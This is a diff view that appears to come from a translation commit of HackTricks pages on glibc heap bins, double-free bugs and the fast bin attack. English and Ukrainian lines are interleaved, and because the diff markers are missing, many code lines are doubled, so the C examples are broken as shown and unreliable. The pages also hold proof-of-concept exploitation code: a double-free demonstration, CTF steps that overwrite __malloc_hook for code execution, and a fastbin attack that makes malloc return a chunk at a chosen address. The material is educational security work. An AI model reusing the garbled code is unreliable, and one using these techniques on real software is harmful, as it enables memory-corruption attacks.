+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Функція для вибору між малими та великими бінами:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Додати невеликий приклад</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Зверніть увагу, як ми виділяємо та звільняємо 9 шматків одного розміру, щоб вони **заповнили tcache**, а восьмий зберігається в несортованому біні, оскільки він **занадто великий для fastbin**, а дев'ятий не звільнений, тому дев'ятий і восьмий **не зливаються з верхнім шматком**. Потім ми виділяємо більший шматок розміром 0x110, що призводить до того, що **шматок у несортованому біні переходить у малий бін**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Скомпілюйте це та налагодьте з точкою зупинки в `ret` opcode з функції `main`. Потім з `gef` ви можете побачити, що бін tcache заповнений, а один шматок знаходиться в малому біні:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### Великі контейнери
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
На відміну від малих контейнерів, які управляють шматками фіксованих розмірів, кожен **великий контейнер обробляє діапазон розмірів шматків**. Це більш гнучко, дозволяючи системі враховувати **різні розміри** без необхідності мати окремий контейнер для кожного розміру.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
У аллокаторі пам'яті великі контейнери починаються там, де закінчуються малі контейнери. Діапазони для великих контейнерів поступово зростають, що означає, що перший контейнер може охоплювати шматки від 512 до 576 байтів, тоді як наступний охоплює від 576 до 640 байтів. Ця схема продовжується, з найбільшим контейнером, що містить усі шматки понад 1 МБ.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
Великі контейнери працюють повільніше в порівнянні з малими контейнерами, оскільки вони повинні **сортувати та шукати через список різних розмірів шматків, щоб знайти найкраще відповідність** для алокації. Коли шматок вставляється у великий контейнер, його потрібно відсортувати, а коли пам'ять алокується, система повинна знайти правильний шматок. Ця додаткова робота робить їх **повільнішими**, але оскільки великі алокації менш поширені, ніж малі, це прийнятний компроміс.
There are:
Є:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 32 контейнери діапазону 64B (перекриваються з малими контейнерами)
- 16 контейнерів діапазону 512B (перекриваються з малими контейнерами)
- 8 контейнерів діапазону 4096B (частково перекриваються з малими контейнерами)
- 4 контейнери діапазону 32768B
- 2 контейнери діапазону 262144B
- 1 контейнер для залишкових розмірів
<details>
<summary>Large bin sizes code</summary>
<summary>Код розмірів великих контейнерів</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Додати великий приклад</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
Виконується 2 великі алокації, потім одна з них звільняється (поміщаючи її в несортований бін) і виконується більша алокація (переміщуючи звільнену з несортованого біна в великий бін).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Скомпілюйте це і налагодьте з точкою зупинки в `ret` опкоді з функції `main`. Потім з `gef` ви можете побачити, що бін tcache заповнений, а один шматок знаходиться у великому біні:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
### Верхній шматок
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
В основному, це частина, що містить всі доступні в даний момент купи. Коли виконується malloc, якщо немає доступної вільної частини для використання, цей верхній шматок зменшить свій розмір, надаючи необхідний простір.\
Вказівник на Top Chunk зберігається в структурі `malloc_state`.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
Більше того, на початку можливо використовувати неупорядковану частину як верхній шматок.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Спостерігайте за прикладом Top Chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
Після компіляції та налагодження з точкою зупинки в опкоді `ret` функції `main` я побачив, що malloc повернув адресу `0xaaaaaaac12a0`, і це шматки:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Де можна побачити, що верхній шматок знаходиться за адресою `0xaaaaaaac1ae0`. Це не дивно, оскільки останній виділений шматок був у `0xaaaaaaac12a0` з розміром `0x410` і `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Також можна побачити довжину верхнього шматка на його заголовку шматка:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Останній залишок
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
Коли використовується malloc і шматок ділиться (наприклад, з неупорядкованого бін або з верхнього шматка), шматок, створений з решти поділеного шматка, називається Останній залишок, і його вказівник зберігається в структурі `malloc_state`.
## Allocation Flow
## Потік виділення
Check out:
Перегляньте:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Потік звільнення
Check out:
Перегляньте:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Перевірки безпеки функцій купи
Check the security checks performed by heavily used functions in heap in:
Перевірте перевірки безпеки, які виконуються широко використовуваними функціями в купі в:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Посилання
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -4,89 +4,87 @@
## Basic Information
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Якщо ви звільняєте блок пам'яті більше ніж один раз, це може порушити дані аллокатора і відкрити двері для атак. Ось як це відбувається: коли ви звільняєте блок пам'яті, він повертається до списку вільних частин (наприклад, "швидкий бін"). Якщо ви звільняєте той самий блок двічі підряд, аллокатор виявляє це і видає помилку. Але якщо ви **звільняєте іншу частину між цим, перевірка на подвійне звільнення обходиться**, що призводить до пошкодження.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Тепер, коли ви запитуєте нову пам'ять (використовуючи `malloc`), аллокатор може надати вам **блок, який був звільнений двічі**. Це може призвести до того, що два різні вказівники вказують на одне й те саме місце в пам'яті. Якщо зловмисник контролює один з цих вказівників, він може змінити вміст цієї пам'яті, що може викликати проблеми з безпекою або навіть дозволити йому виконати код.
Example:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
У цьому прикладі, після заповнення tcache кількома звільненими частинами (7), код **звільняє частину `h`, потім частину `i`, а потім знову `h`, що викликає подвійне звільнення** (також відоме як Fast Bin dup). Це відкриває можливість отримання перекриваючих адрес пам'яті під час повторного виділення, що означає, що два або більше вказівників можуть вказувати на одне й те саме місце в пам'яті. Маніпулювання даними через один вказівник може вплинути на інший, створюючи критичний ризик безпеки та потенціал для експлуатації.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Виконуючи це, зверніть увагу, як **`i1` і `i2` отримали ту ж адресу**:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>Початкові виділення:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
Після повторних виділень:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Приклади
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Ми можемо виділяти лише частини розміру Fast-Bin, за винятком розміру `0x70`, що запобігає звичайному переписуванню `__malloc_hook`.
- Натомість ми використовуємо адреси PIE, які починаються з `0x56`, як ціль для Fast Bin dup (1/2 шанс).
- Одне з місць, де зберігаються адреси PIE, знаходиться в `main_arena`, яка є частиною Glibc і знаходиться поруч з `__malloc_hook`.
- Ми націлюємося на конкретний зсув `main_arena`, щоб виділити частину там і продовжити виділення частин, поки не досягнемо `__malloc_hook`, щоб отримати виконання коду.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Використовуючи Tcache bins і переповнення нульовим байтом, ми можемо досягти ситуації подвійного звільнення:
- Ми виділяємо три частини розміру `0x110` (`A`, `B`, `C`)
- Ми звільняємо `B`
- Ми звільняємо `A` і знову виділяємо, щоб використати переповнення нульовим байтом
- Тепер поле розміру `B` становить `0x100`, замість `0x111`, тому ми можемо звільнити його знову
- У нас є один Tcache-bin розміру `0x110` і один розміру `0x100`, які вказують на ту ж адресу. Отже, у нас є подвійне звільнення.
- Ми використовуємо подвійне звільнення за допомогою [Tcache poisoning](tcache-bin-attack.md)
## References
## Посилання
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
For more information about what is a fast bin check this page:
Для отримання додаткової інформації про те, що таке fast bin, перегляньте цю сторінку:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Оскільки fast bin є однозв'язним списком, захистів значно менше, ніж в інших bins, і просто **модифікація адреси в звільненому fast bin** шматку достатня, щоб **потім виділити шматок за будь-якою адресою пам'яті**.
У підсумку:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Ви можете знайти повний приклад у дуже добре поясненому коді з [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
